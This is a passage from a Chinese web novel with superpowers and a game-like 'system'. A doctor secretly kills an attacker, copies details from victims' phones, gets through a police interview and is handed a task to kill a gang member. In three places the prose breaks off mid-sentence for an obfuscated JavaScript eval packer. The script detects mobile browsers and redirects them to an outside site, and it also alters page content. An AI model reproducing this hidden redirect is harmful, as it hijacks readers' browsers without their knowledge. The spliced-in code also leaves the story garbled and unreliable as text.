简初沉默着看他喜形于色的表情，她自己在星际世界是个小喽啰就算了，在这也遇到这种角色，什么时候能给她分条大鱼，见见世面，开开眼界啊。 “你先去等你的大哥吧。” 简初抬手，身侧突然升起数十把铁棒，两端尖锐，在雨中反射出些微的寒光。 “唰——” 它们一齐穿透了男人的身体，疼痛让他松开了手，手机坠落，在还没有砸到地面的瞬间，被小触手迅速卷走。 它乖巧地搂着手机，放进简初的手中，随后贴心地盘在她头顶，遮去大半的雨水，方便她看手机。 刘迪并没有看清是什么卷走了他的手机，他只瞧见它掉下一段距离，随机嗖的一下飞进了那女人手里，铁棒从他的身体里穿过，留下一个个汩汩流血的伤口。 简初记下页面上显示的联系人和手机号码，又往回翻了一下通话记录和通讯软件，掏出自己的手机拍了几张照片，便扔回了男人手边。 刘迪躺倒在地，已经说不出话来，异能孜孜不倦地修复着他的身体，但是一切终有尽头，他的恢复速度越来越慢，简初停下攻击，看着他身上的伤口慢慢愈合。 铁棒瞬间消散，刘迪还没来得及高兴，就看见一柄锋利的长刀出现在自己面前，刀锋斩下，他跌落在地，视线变得极低，看见一具无头的尸体，脖颈断裂处正在喷出鲜血。 这件衣服看起来好眼熟…… “获得同类能力，【快速恢复】升级为【躯体重塑】。” “躯体重塑：你拥有怪物般的恢复能力，请存档你的身体数据，一旦使用此能力将会按照存档数据进行修复，存档机会每72小时刷新一次，使用次数每24小时刷新一次。请你记住，永远不要过于依赖它。” 36. 灯下黑（36） 又是这句话。 简初清晰地记得，当初获得【快速恢复】的时候，系统也提示了“不要过于依赖它”，她并没有觉得系统在涮自己玩，它这么说一定是有原因的，只不过她现在还理不清头绪。 可这个能力太诱人了，她只能尽量克制自己使用它的欲望。简初叹了口气，这个世界远不如星际世界危险，一旦遇到紧急情况，再存档应该也来得及吧？ 为了尽可能少的留下痕迹，她尽力避免了和两人的直接接触，简初低头看向脚边昏迷的温南，想想还是用小触手把她往巷子一边靠了靠，从对方兜里摸出手机，用指纹解锁后，记下了温南的个人信息。 她不可能听错，温南绝对说了一句“明明在那边可以用的”。 这也许只是一句很普通的话，但是对于简初来说相当不同寻常。 她说的那边会是星际世界吗？如果不是，那会是指向的什么？ 小触手很殷勤地帮忙举着温南的手机，看得简初有些头疼。先不提为什么它会变成这样，但是这深蓝色的油亮外观，真的很难让她相信别人看不见它，而她又不可能找个人来贸然尝试。 这真的是试试就逝世。 没办法，只能先避免在他人面前使用小触手了。 她将手机原封不动塞了回去，下一秒，小触手哐哐给温南来了俩嘴巴子。 简初：“……” 我是想把她弄醒，但是你这个手法是不是太粗暴了。 但事实证明，粗暴的手法往往很有效。 “唔……好疼！” 温南艰难地从地上爬起来，后脖子好像要断掉一样，她伸手摸了摸，已经肿起老大一个包，冰凉的雨水拍在脸上，她却觉得脸有点烫烫的。 大概是雨淋得太久，要发烧了。 温南擦去眼里的雨水，突然想起什么，她回过神来，警惕地向四周看了看，不看还好，这一看把她的魂吓飞了一半。 一具无头的尸体正躺在不远处，地面上全都是被冲淡的红色血水，看衣服应该是刘迪，在身体的正前方是一个圆咕隆咚的脑袋，后脑勺黑乎乎的。 温南只庆幸它的面孔没有朝向这边，否则她能被吓死。 尸体身下全都是鲜红的血水，被大雨冲散，慢慢向这边漫延，温南赶紧向后退了两步，她捂住嘴，赶紧向后退了两步，防止沾到漫延过来的血水。 她记得晕倒之前还见到了一个人来着，但是时间太短了，很多东西记不清。 是她杀了刘迪？他们不是一伙的？ 温南觉醒没几天的时候，刘迪就自己找上门来，说想要拉拢她加入一个什么异能者组织。 她的传送异能原本很鸡肋，差不多只有两步的距离，所以她其实对这个组织挺感兴趣的，有一个跟其他人交流的机会总比一个人胡思乱想的好。 可她千想万想，就是没想到两人约见之后，她刚试探着提了几个要求，刘迪就当场翻脸，想要杀了她。 但是接下来的发展完全超出了她的预料。 在以为自己就要死去的一瞬间，温南突然去到了一个异世界。在那里她依然拥有传送异能，但不同的是她要比现在强很多很多，她已经做好后半辈子都在那里生活的思想准备了，谁知道又突然回来了！ 温南还没来得及指天怒骂，就感觉到呼吸不畅，一眼看到近在咫尺的刘迪，她下意识使用异能，却不曾料到，自己又变回了那个菜鸡。 本想着先脱困，然后反杀刘迪，却发现她的实力连在异世界的三分之一都不如，哪怕比起穿越前有了进步，但让她心底颇有落差。 如果不是因为突然出现的那个神秘人，她应该已经死了。 温南现在的情感相当复杂，既感谢那人救了自己，又恐惧于对方的强大和未知。 巷子里没有监控，但她回家的路上有，温南跌跌撞撞地离开，期间不断使用异能来避开她能看到的、为数不多的监控。 她现在脑子一团浆糊，只想着快点回到安全的地方。 …… 简初利用闪现，弥补了耽搁的时间。她光明正大地从监控的眼皮底下，大摇大摆走进了公寓。 跟往常一样，她在门口脱掉一次性雨衣，塞进垃圾桶，接着在地垫上跺跺脚，走进了电梯。 因为便利店每天都要处理垃圾，所以刘迪的尸体必定会在今天被发现，她要做好警方找她询问情况的准备，不过因为暴雨，再加上刘迪自身异能的影响，法医的工作应该会相当难做。 她看着电梯的数字不断跳动，暗暗思考，不知道官方对异能者的了解处于什么水平。 根据穿越之前刘迪的那通电话可以得知，这个团伙已经多次作案，没有加入他们的新生异能者极有可能全被杀害了。而作为异能者，他们的杀人手法肯定有与众不同之处，官方不可能完全被蒙在鼓里。 但不论如何，必定只有深受信赖的一小撮人才能知晓内情。 除此之外，还有一个问题横亘在简初心头。 既然有异能者，那异种呢？ …… 简初睁开眼的时候已经是第二天的中午，她平时睡眠就不多，这次睡了快八个小时已经是难得。 她伸了个懒腰，从床头拿起被静音的手机，上头有一个来自颜和的未接电话，她没有急着回拨，而是先点开了通讯软件，果然看到了对方的消息，发信时间是5：23。 [宝！] [我要跟你说个事，你别骂我！] [队里突然有紧急任务，今天又要鸽了！] [哭泣.jpg] [求饶.jpg] …… 备注为鸽王的人，发来密密麻麻一堆表情包，全都是卖萌求原谅的，跟身为酷姐的本人完全不符。 简初有些心虚地摸摸鼻子，心说你加班可能有我一份功劳。 她动动手指，像以前一样发了一堆愤怒的表情，紧接着说了句以后再约，果不其然对面毫无动静，估计正忙着。 肚子好饿，得找点东西吃。 简初走进厨房，从冰箱捞出一袋面包，看看还没过期就掏出一块塞进了嘴里。 好硬！ 她赶紧拿起水壶打算烧水，饭可以吃冷的，但是水必须喝热的！ 正当她给水壶通上电，门外突然传来巨大的声响。 “咚咚咚——砰！” 听起来像是门把手太过用力而砸到墙上，随后又有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12255423|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么重物砸到了自己的房门上，简初皱眉，无声无息地凑上猫眼往外看。 有人在搬家，看样子是自己对面那间空房有了住客，猫眼视角有限，她只能看到几个穿着统一制服的搬家人员。 不过两秒，一个穿着黑色衣服的男孩子出现在猫眼的视线里。 他个子不高，转过来的脸看起来年纪也不大，应该是正在念书的年纪，不过身边也没有家长陪同。 公寓的隔音做得不错，简初从他的嘴型辨认出对方应该在让搬家公司的工作人员手脚轻一些，不要打扰到邻居，应该是个蛮有公德心的人。 简初确认外面没有发生什么情况，便不再关心，她意识到自己的神经有些紧绷，这不是一件好事。 过于紧绷的神经会让她把注意力分散到不必要的风吹草动上，从而过度消耗精力，导致对真正的危险失去感知力。 但这不是说放松就能放松的，对于简初来说，能有效放松自己神经的，只有一个办法。 那就是掌控局势。 这很难，但她必须去做。 先从简单的开始。简初掏出手机，将自己昨夜记录的信息用纸笔抄下，紧接着将手机格式化。 纸面上记录了两个人的信息，其中温南的信息比较全面，毕竟简初翻过她本人的手机，而另一个人只有代号和联系方式。 刘迪的通讯软件很干净，但是通话记录看起来有一段时间没有清理过，当时他准备拨通的就是这个叫“老吴”的人的电话。 他们这两天的通话很频繁，甚至在凌晨一点多有过一次通话，照这个架势，也许警方会先找这个人。 哦，还有温南。 简初心情复杂地看着两条紧挨在一起的通话记录，突然觉得自己的处境变得十分明朗起来。 比起这两个人，自己跟刘迪素不相识，毫无联系，又没有作案时间，看起来完全是一个普通路人。 正当她沉思着，突然听见有人敲响了房门，对方还挺礼貌的，轻敲了三下，接着停顿了一会，又敲了敲。 简初将纸笔收进抽屉，过来打开了房门，不出所料，是对门刚搬来的男孩。 他似乎以为里面没人，正准备转头走向下一步，就听见身后房门打开的声音。 “有什么事吗？”简初面色有些冷淡，开口询问。 “啊不好意思，我是新租户，我叫周霖，甘霖的霖，刚刚我搬家闹出了点动静希望没有吵到你。” 男生有些拘谨地递过来一个小盒子，里面装了大概十来块牛轧糖，他脚边的篮子里还有好几盒。 “这是礼物，以后还请多多关照。” 简初没想到现实中真的会有人这么做，送礼物还算常见，但是这么说话的还真没见过。 她沉默两秒，伸手接过了盒子。 “小事，能理解。”简初说道，随后空气陷入了尴尬的安静。 “打扰了，我去送其他家。”周霖憋了半天，急匆匆吐出一句话，简初点点头，无情地关上了房门。 她随手将盒子摆在门口的柜子上，刚走了两步，似乎想起什么，回头打开盒子检查了一遍。 嗯，没有问题，明天可以带到医院给那群讨债鬼吃。 37. 灯下黑（37） 原本跟颜和约好的行程作废，简初正好利用这段时间做一些准备，毕竟明天又要开始上班，到时候很难抽出身。 想到上班，简初的动作顿了顿。 在这里，系统应该不会给自己发布什么任务吧？ 医院工作繁忙，如果真有什么情况，她还真不一定有时间处理。 为了防止乌鸦嘴效应，简初决定暂时把这些忧虑抛在脑后，不让还没个影儿的事来内耗自己，她的精神已经处于过度紧绷的状态，不能再加压力了。 简初带上防晒口罩、墨镜和帽子，全副武装离开了公寓，幸好正值夏天，暴雨过后暑气蒸腾，中午的太阳烈得很，这套装备看起来丝毫不违和。 目的地不远，简初感觉自己的身体素质明显比之前好了不止一星半点，很快就溜达到附近的学校门口。 之前医院组织义诊的时候她来过这边，学校门口有一排沿街店铺，都是买一些学习用品、零食、小玩意的，有好几家店铺会偷偷卖那种不记名的电话卡。 她随意挑了一家店，买了不少杂七杂八的东西，然后顺便买了一张电话卡，老板原本还有些警惕，但听说她是因为别人欠钱不还，想要催债，便卖给她了。 “自己的钱宝贝着点，你这种我见多了，拉不下脸拒绝别人，结果反而要不回钱。”老板坐在柜台后面，电风扇把他宽阔的额头吹得发亮。 “现金付款是吧？”老板一副见怪不怪的样子，结果现金对着光看了看，便挥挥手，示意她可以走了。 简初拎着塑料袋，继续慢悠悠往前走，再隔两个路口，就是温南居住的小区，她记得昨天从手机购物软件里翻到的详细地址，打算稍微踩个点。 她并不打算贸然制造机会和温南接触，对方现在正像惊弓之鸟，如果自己跟她偶遇，又不巧在警局碰上，温南的警戒心一定会拉到最高。 她想要使用【唱诗班】套出对方的话，就必须获得足够的信赖值，至少不能让温南防着自己。 现在正是一天最热的时候，路上人很少，简初放慢脚步远远看去，这个小区并没有设置门禁，因为有一条窄马路从中间穿过，将其分成了两块。 市中心道路状况十分复杂，多的是这种情况。 正当简初考虑要不要过去走一圈，就看见一个同样全副武装的人从小区走了出来。尽管那人的脸遮了个七七八八，但是从她走路的步伐和身形看来，确实是温南没错了。 她这是要去哪儿？ 简初的疑惑很快得到了解答，因为她怀里的手机突然响了起来。 她掏出手机，低头看见来电显示，便明白了温南这会是要去哪。 “你好，这里是蓝湾市警卫总队，我的警号是……请问是简初女士吗？” 电话那头是一个温柔的女声，听上去就很容易让人升起亲切感。 “我是，请问有什么事吗？”简初同样温和地回复道。 对方听她语气，也放下心来，看来是讲理的人，比较好交流。 “是这样的，女士。您在今天凌晨一点四十三分去过蒲林巷的便利店是吗？” “蒲林巷……”简初重复了一遍，“啊，没错我去过，时间应该差不多是一点四十左右？” “好的女士，我们这边有一些事情想要找您了解，不知道您这会是否有时间来我们总队呢？”女性温温柔柔地开口，“如果您工作不便，我们可以联系您的单位进行协调。” 但是内容就不那么温柔了。 “啊我今天休假，过去倒是没问题，方便问问是什么事情吗，我也没有被诈骗之类的啊？”简初十分困惑。 “不好意思女士，电话里不方便说，还麻烦您过来一趟，您可以打车过来，有发票的话我们可以进行报销。” 对方都说到这个份上，简初怀疑自己再多问两句就要有人过来“请”自己了。 “好的我知道了，半小时之内我会到的。” “谢谢您的配合。” 简初没有客气，挂断电话立即打了辆前往蓝湾警卫总队的车，不出意外，她应该能在那里遇到温南。 不过警方的动作还是快得超乎她的预料，如果颜和给自己发消息的时候他们刚接到报警，到现在不过八个多小时，案件流程都已经走完，开始寻找相关人员和目击证人了。 那她能在警卫总队，见到那个叫“老吴”的人吗？ …… 一路畅通无阻，抵达的时间比预估早了快十分钟，简初在门口登记过，便直接进入。 一进入大楼，她立刻被里面热火朝天的工作劲头镇住了，明明在外面还看起来冷冷清清没什么人呢。 简初之前来找过好几次颜和，不少人都已经认识她了，不过出于避嫌考虑，这次并不是熟悉的面孔来接待。 “你是……” 一位年轻女性迎了上来，看起来他们今天喊了不少人来，才导致对方有些分不清面孔了。 “我是简初。” 简初主动替对方解围，女性松了一口气，接着将她带领到一个谈话室。 里面看起来氛围比较轻松，灯光柔和，窗户被百叶帘遮住了，典型的询问场所，看来自己确实没有被怀疑。 “麻烦你在这边坐会，待会有人过来跟你了解情况，要不要喝点什么，我们这有矿泉水和咖啡。” “矿泉水就行，谢谢。”天气太热，简初确实有些渴了。 简初喝了口水昂着脖子向外看，却意外从百叶帘的缝隙中看到了刚刚进门的温南。 她怎么比自己还慢一步。 简初看着那位年轻女性将温南带到她隔壁的屋子，并关上了门。 要是她没记错，隔壁那间谈话室可比她这间规格高不少，没有玻璃百叶窗，完全是封闭的。 看来因为温南跟刘迪有过通话记录，警方对她要更重视，也更防备，就是不知道“老吴”到了没。 没过一会，一男一女两名警官进入了简初所在的屋子，并关上了门。 “你好，简初女士，非常感谢你百忙之中抽空来配合我们的工作，我姓张，张国栋，请随意称呼，这位是安如，安警官。” 开口的男警察年岁较长，说话还比较客气，说完还向她出示了证件。 “应该的，不知道是有什么事呢？”简初也客气地回答。 “简女士是蓝湾中心医院的医生吧，这是个好工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12286925|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊，年纪轻轻已经是主治医师了，听说过两年又能往上升升？”张国栋朝她笑笑，唠起了嗑。 “以后的事说不准，我就是做好我本职工作。”简初说道。 大概是看出她并不想花太多时间闲聊，张国栋沉默了两秒，切入正题。 “是这样的，今天凌晨一点四十三分你去了蒲林巷便利店，在一点五十二分的时候离开，那个点你是刚下班吗？”他从手里的报告中抬起头，眼神锐利。 “是的，我今天休假，所以昨天把手头比较急的工作集中处理掉了，因为外面突然开始下雨，我去买了件一次性雨衣，时间应该差不多。”简初眼神往左上方侧了侧，回忆道。 “嗯，你离开便利店之后是继续往前的？这条路又窄又黑，平时没什么人啊，你怎么会从这里走的？” “因为走这条路回家比较快，我经常走。”简初认真回答。 “你胆子还真大，那条巷子我白天看着都瘆得慌。”一旁的安如开了句玩笑，缓和了一下气氛。 她到现场的时候尸体还在地上，能不瘆得慌吗。 “平时在手术台上就站得够久了，实在不想绕那么远的路。”简初笑了笑。 “接下来的问题很重要，请你务必仔细回忆，你从便利店出来之后，在蒲林巷有遇到其他人吗，或者有没有听到什么异常的动静？”张国栋翻开手边的笔记本。 还没等简初开口回答，门外突然传来敲门声。 “安警官，麻烦你出来一下。” 张国栋起身阻止：“我去吧，你在这。” 简初跟安茹面面相觑了半分钟，张国栋就回来了，手里拿着几张纸，他一边进门一边面色凝重地看向手里的纸张，伸手摸了摸椅背，顺着坐下来。 简初看着他把手里的纸拿给安如，随即她的面容也凝重起来。 什么东西，给我也看看？ 张国栋扭头看见对面人好奇的眼神，清了清嗓子：“我们刚刚说到哪儿了，啊，你有没有听到什么动静？” 简初眼神中写满茫然：“凌晨两点街上哪还有什么人啊，而且雨下得那么大。” 张国栋看着她没开口，紧接着又低下头看了眼手里的纸张。 “简女士，今天早上五点十九分，环卫工人在蒲林巷发现了一具尸体，死亡时间预计在凌晨一点到三点，你在这段时间从案发现场路过，证词对我们排查案情非常重要，请你一定要仔细回想。”安如说。 他们本就没有打算隐瞒，这么恶劣的案件，凶手尚未落网，绝对是要上新闻的。 张国栋的眼神从纸张上方盯着简初，看到她脸上出现相当真实的震惊之色。 “不是……你的意思是，那会可能有杀人犯躲在巷子里？”简初稍稍冷静下来，不过有些手抖。 “我想想，我应该是没看到什么特殊的，至于听到……说实话雨下得那么大，我还穿着雨衣，满脑子都是雨点砸在头上的声音。” 她看见对面两人对视一眼，接着张国栋开口了。 “简女士，我建议你说实话，我们手里已经掌握了很多东西，现在是给你开口的机会，要是等我们告诉你，性质就完全不一样了。” 38. 灯下黑（38） 简初睁大双眼，微微往后缩了缩。 “什……什么？我从便利店出来，接着走进巷子里，然后回到大路，过了个十字路口就会公寓了。”她喃喃自语，自己将行动轨迹又捋了一遍，“我真的没有看到人啊。” 张国栋凝视了她几秒，接着谈话的交接棒到了安如手里。 “你不要有压力简女士，我们领导性格就是这样，这样，今天的交流就到这里，你先回去休息，如果后面想到什么再跟我联系？”她将手机递过来，备忘录上写了一串号码。 “这是我的手机号，很感谢你今天的配合。” 又是一个唱红脸一个唱白脸，要不是简初使用的是异能，确信自己没有留下一些符合普通常理的痕迹，恐怕就要被对面唬住了。 简初存下对方的手机号，点头道：“啊，能理解的，配合你们调查也是我的义务，就是不好意思没能帮上忙。” “不会，有总比没有好，这些信息多少也能提供点帮助，我送你出去吧？” 张国栋坐在屋子里没有离开，安如送完人回来，垮下肩膀开口冲他抱怨。 “师父，你下次用这一招能不能给我一点反应时间，差点没给你露馅，幸好人家没有追究，要不然有的烦。” “你懂什么，就是这种学问高、工作好、讲文明的人，才能用这一招诈一诈，换个性子野的我也不敢用啊。”张国栋从兜里掏出香烟，看看自己徒弟，又看看这不怎么透气的屋子，咂咂嘴把香烟盒塞了回去。 “你说，什么人才能做到一刀就把脑袋切下来，那个切口真的干净利落，以前那什么断头台也就这效果了吧。” “至少是一把大西瓜刀，而且磨得很锋利的那种。死者身上没有其他伤痕，也就是说他连反抗的机会都没有，头掉落在尸体前方，所以凶手是站在侧面挥刀。”安如站在张国栋身边，做了一个挥刀的手势，“现场没有发现凶器，已经增加人手在附近搜索了，但是因为凌晨的暴雨，所以工作开展得很困难。” “嗯……不过说起断头台，有没有可能死者当时并不是站着的呢？”张国栋摸了摸下巴，暴雨将凶案现场的痕迹清洗得差不多，所以他的才想也未必不可能。 但这样的话，死者在什么样的情况下，才会跪在地上，被凶手砍掉脑袋呢？ “师父，刚刚那位我看着没什么问题，虽然离现场最近的监控失效了，但是根据公寓大门监控拍到她的时间，她没有在现场逗留，垃圾桶的雨衣也没有血液反应，而且就算她是医生，也没有那么大力气一下把头砍掉。”安如分析道。 毕竟生生把颈骨砍碎，并不是什么庖丁解牛的切割方法。 “而且她跟死者不认识，以前也没有联系过。”张国栋喃喃自语，“这样看来，死亡时间应该是在两点钟之后。” 他抬头看了安如一眼：“先别急着下结论，等几个人谈完，我们对对时间线，还有，让他们看看死者的位置还有动作，符不符合跪着被人切掉脑袋的轨迹。” 张国栋看起来有些坐立不安，他又伸手掏了掏兜，终于站起身来：“我出去抽根烟，那个什么……吴……” “吴起？” “对，吴起，他来了你给我打个电话。” 简初走出大门，汹涌的热浪扑面而来，她眯着眼，想着来都来了，要不要跟颜和说一声。正犹豫着，她就看见一辆黑色的轿车开了进来。 车型和车牌看起来都不像内部车辆，它的车窗黑乎乎的，什么也看不见，待平稳地在离门最近的停车位停下，驾驶位的人就立即下车，殷勤地拉开后车门，给后座的人撑起一把异常宽大的遮阳伞。 直到那人完全下了车，简初才知道这伞做这么大是有原因的。 那人看起来个头不足一米八，身材不胖不瘦，但这么热的天却穿着长袖长裤，把自己裹得严严实实，路人面孔，嘴唇苍白有些发紫，可能是心脏不太好。 “吴老大，您慢点，别被晒着。”撑伞的人十分狗腿，哪怕自己自己被晒得不行，也把身边的人遮得严严实实，绝不让他晒到一丝太阳。 简初划拉着手机的动作停了半秒，接着继续若无其事地点开通讯录，她的眼神装作无意从两人身上转了一圈，记住了他们的脸，同样的，那个被称作吴老大的人也在打量她。 这个女人，难道就是六子的目标？ 双方的眼神在空中碰撞了一秒，紧接着错开，简初动作没有丝毫停顿，自然地给颜和拨了个电话。 “喂，能抽会空吗？我这会在你们总队门口，方便见个面？” 电话还没有挂断，一个面无表情的短发女警就急匆匆从大楼里小跑出来，她看见简初眼前一亮，顿时露出笑容，手上才挂断了电话。 吴起回头看了一眼，两个人正亲亲密密地凑在一块说话，扭头进了门。 看来只是找人的，目标应该不是她。 简初没有错过他的眼神，心底已经确定对方就是刘迪手机里的那个“老吴”，他刚刚一直看自己，大概是以为她是温南。 “你怎么过来啦，是不是来给我送吃的嘿嘿？”颜和眼圈透着青色，兴致勃勃地围着简初看了一圈，想要看看她藏了什么好吃的。 “你想吃什么，待会给你点外卖，怎么脸色看起来这么差？”简初问道。 颜和露出一言难尽的表情：“五点我就被一个电话喊醒，直到现在都没空吃饭，不行，这里好热，我们进去说话。” 她哪里是没空吃饭，从现场回来办公室安排了盒饭，但她哪还吃得下去啊。 虽然见过不少惨烈的案发现场，血腥程度比起今天的有过之而无不及，但一个脑袋睁着眼，对着自己被砍断的脖子，这场面还是太掉san了。 “你今天出的蒲林巷的现场吗？”简初问。 “你怎么知道，难道新闻已经发了，这么快？”颜和掏出手机就想要查新闻，两人一前一后走到大厅角落的待客区。 简初等两人落座才开口。 “没有新闻呢，我今天凌晨两点从那儿走的，刚刚你们有两位警官跟我了解情况来着……” 她话还没说完，颜和就瞪大了眼睛，上上下下仔细打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12304007|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量了一番：“你没事吧？！不是，你下班那么晚怎么还走那巷子呢，里面又没监控出事了咋办！” “我知道，这不是想早点回去休息，况且我也没遇到什么人，平安到家了。”简初赶紧开口安抚道，“我也没有跟你打听案情的意思，不过我这个情况，你需要回避吗？” 简初绕了一个大圈子，终于不动声色地说到了目标话题。 这次事件不仅仅是自己牵扯其中这么简单，刘迪、温南，还有一个“老吴”，目前涉及的相关人员全部都是异能者，更何况根据刘迪的话，他背后有一个成型的异能者组织，从他尚未接触到“变强”的秘密来看，这个组织的规模并不算小。 他们在其他地方犯下的案件迟早也会被发现，也许不久之后，警方就会发现其中的关联，一旦并案处理，这就是一桩由异能者做下的连环凶杀案。 她并不想颜和卷入这起案件中。 她们关系太密切，也太了解对方了，简初无法保证自己会不会牵扯到更复杂的事件里，一旦发生什么意外，导致她跟颜和碰上，或者不巧由颜和来审问，她绝对会露馅。 更何况一群反社会的异能者不是普通人可以抵挡的。 “啊，你担心这个啊，没关系，你又不属于嫌疑人，而且什么都没看见的话，算证人都够呛。”颜和松了一口气。 “这样啊。”简初愣了愣，开口道，有些懊恼自己没有提前了解。 “小颜啊，你那边好了吗，赶紧回来啊！还有一堆事呢，缺你不行啊！”旁边办公室里走出一个人，他原本冲着门口去，眼神一瞟看见颜和坐在这边，立刻转个方向，走了过来。 “那我不打扰你工作了，待会给你们点个外卖来，想喝点什么也直接发消息给我。”有人在场，简初不便再多说些什么，当下提出告辞。 “你最好了，那我去打工了，你回去路上注意安全哦。” 等颜和回到办公室，出来喊她的那位同事就忍不住跟其他人打趣：“你们刚刚是没见到小颜那副样子，笑得跟花儿似的，还‘你最好了~’” “你皮给我放紧点，再扭一个试试呢，小心我抽你啊。”颜和朝他翻个白眼。 “小王这一开口，我就知道来得是谁了，是你那个医院上班的朋友吧。”坐在后面的一个中年女性从屏幕里抬起头，揉了揉干涩的眼睛，抽屉里摸出眼药水滴上。 “小王你刚调到我们办公室肯定不知道，每次这姑娘来，小颜比见道自己对象都开心。” “这怎么能异样！对象是对象，那可是灵魂伴侣。”颜和撇撇嘴，看着简初给自己发来的外卖订单截图，美得冒泡，又冲对面发了一连串亲亲抱抱举高高的表情包。 “还没吃饭的有福了，灵魂伴侣给我点了大餐，你们沾光哦。” 还没等她坐下，外头突然响起一串又急又重的脚步声，一个看起来同样疲惫的年轻人冲了进来，开口就是大嗓门。 “你们谁有空的，啊不是，没空也得有空，人手不够来两个人帮忙，一起出现场，蓝湾体育中心发现了一具男性尸体。” 39. 灯下黑（39） “噔噔噔！” 系统的音乐声来得过于突然，简初摸摸耳朵，以为自己出现了幻听。 “妹儿，还坐不坐车啊？”司机艰难地扭过头，冲刚打开车门的简初说道，“我这车前天刚洗过，干净的啊。” “不好意思师傅，难得打到这么干净的出租车，一时没反应过来。”简初把司机哄得心花怒放。 “嗨，咱们做这行的，肯定要让乘客坐着舒心，用我姑娘话说，叫什么……什么维护行业形象啊，反正干净点不是坏事。” 司机大哥开始滔滔不绝，还顺手调小了收音机的音量。 简初耳边的音乐声结束，系统播报准时抵达。 “此刻的你已经理解了何为第二条生命，这个世界并不像你原先以为的那么平静，潘多拉的魔盒已被打开，异端汇聚于此，暗中计划着掀起动乱，作为得到第二条生命的代价，你需要履行自己的义务。” “触发猎杀任务：尽你所能，处决异端。” “重要说明：此任务时限不明，请时刻确保自身安全。” 猎杀任务？异端？ 全新的概念让简初的心陡然沉了下去。 代价这个词听上去可不太妙，有一种她不好好干活，连命都得被收回去的感觉。 简初回想起此前收到任务的场景，很明显系统并不会无缘无故发布任务。这么看来，猎杀任务必定有一个触发点，而近期与之关联最深的，只有这个所谓的异能者组织了。 但系统并没有直接说“消灭组织”，也就是说二者之间又不是直接划等号的关系。 不过除了从组织入手，简初目前没有别的选择。 事情突然变得复杂起来，手头信息太少，她决定先抛开这些暂时无解的问题，从自己现有的信息寻找突破口。 温南？ 不，她现在处于高度敏感期，必须徐徐图之，贸然联系她只会适得其反。 老吴？ 这个是板上钉钉的组织成员，地位明显高于刘迪，接受过一次“加强”，实力不明，不能冒进。 还没有等简初完全捋清利害关系，系统的声音再次响起。 “现在发布第一个猎杀目标：吴起，外号‘老吴’。” “命运会让你们相遇，你只需要静静等待，然后一击毙命。” “猎杀成功将获得一条相关信息。” 简初愣了愣，接着倒吸一口凉气。 根本没有给她考虑的时间，系统直接指定了任务目标，更重要的是，这是它第一次给出了明确的任务奖励。 这一条信息，绝对是自己需要的，毋庸置疑。 突如其来的警笛声传入简初的耳朵，她分出心思向窗外看去，几辆警车从蓝湾警卫总队迅速驶出，从自己身边飞驰而过，奔向某个她不知道的地方。 不，也许她是知道的。 她想起那个有些遥远的雨夜，死去的温南，以及刘迪的那一通电话。 另一个受害者被发现了。 “要命哦，怎么又出事了。”司机小声念叨了一句。 “怎么了，难道最近不太平吗？”简初开口问道。 “哎哟，你看你们这些年轻人，我菇凉也是，工作忙的不看新闻，都要我们这些做长辈的来提醒。” “这个月发生好几次伤人事件咯，拿刀砍拿车撞的都有，听说今天还发现死人了！” 司机大哥说着连口音都有点压不住了，到最后一句还突然神秘地压低声音。 “反正你们这些小孩子多多长点心哦，不要一个人去危险的地方，晚上早点回家。” 出租车司机的消息圈子就是不一样，简初赞叹了一句，默默将他的话其记在心里。 这些伤人事件乍看之下并不算离奇，但会和所谓异端有关吗？ 不管怎样，她得回去把最近的新闻都看一遍了。 …… “死者男性，三十五至四十岁，没有明显外伤，脸颊两侧及耳后有明显血痕，目前判断是自己抓的，详细还要等法医出报告。身上没有任何可以证明身份的东西，已经安排人去查了。” “还有跟信息科说一下，新闻没出来之前控制舆论，这次现场围观人员太多，保不准有人拍了视频发网上。” “没办法，体育中心一大早有好多老年人来锻炼，发现人喊一嗓子，就全都过来围观了，不过幸好没人敢离得太近，现场还算完整。” 颜和坐在一边听他们交流，这个案件并不归他们组，不过因为人手不够帮忙出了个现场，所以这会把现场情况交接一下。 “麻烦你们俩了，那就先这样。”情况了解得差不多，他们要关上门来讨论具体细节和工作安排，就不便留外组的人听了。 “还有，老规矩，保密啊。” 颜和面无表情比了个手势，便跟小王一起回到了自己办公室。 她看着自己桌上的外卖叹了口气，认命地将它们送进微波炉。 “都赶上吃晚饭了，我感觉我现在能啃下一头牛。” “怎么，看来这次现场没那么让人吃不下饭？”张姐抬头，“小颜啊，外卖份量够不够，给我吃两口呗，闻到香味我又饿了。” 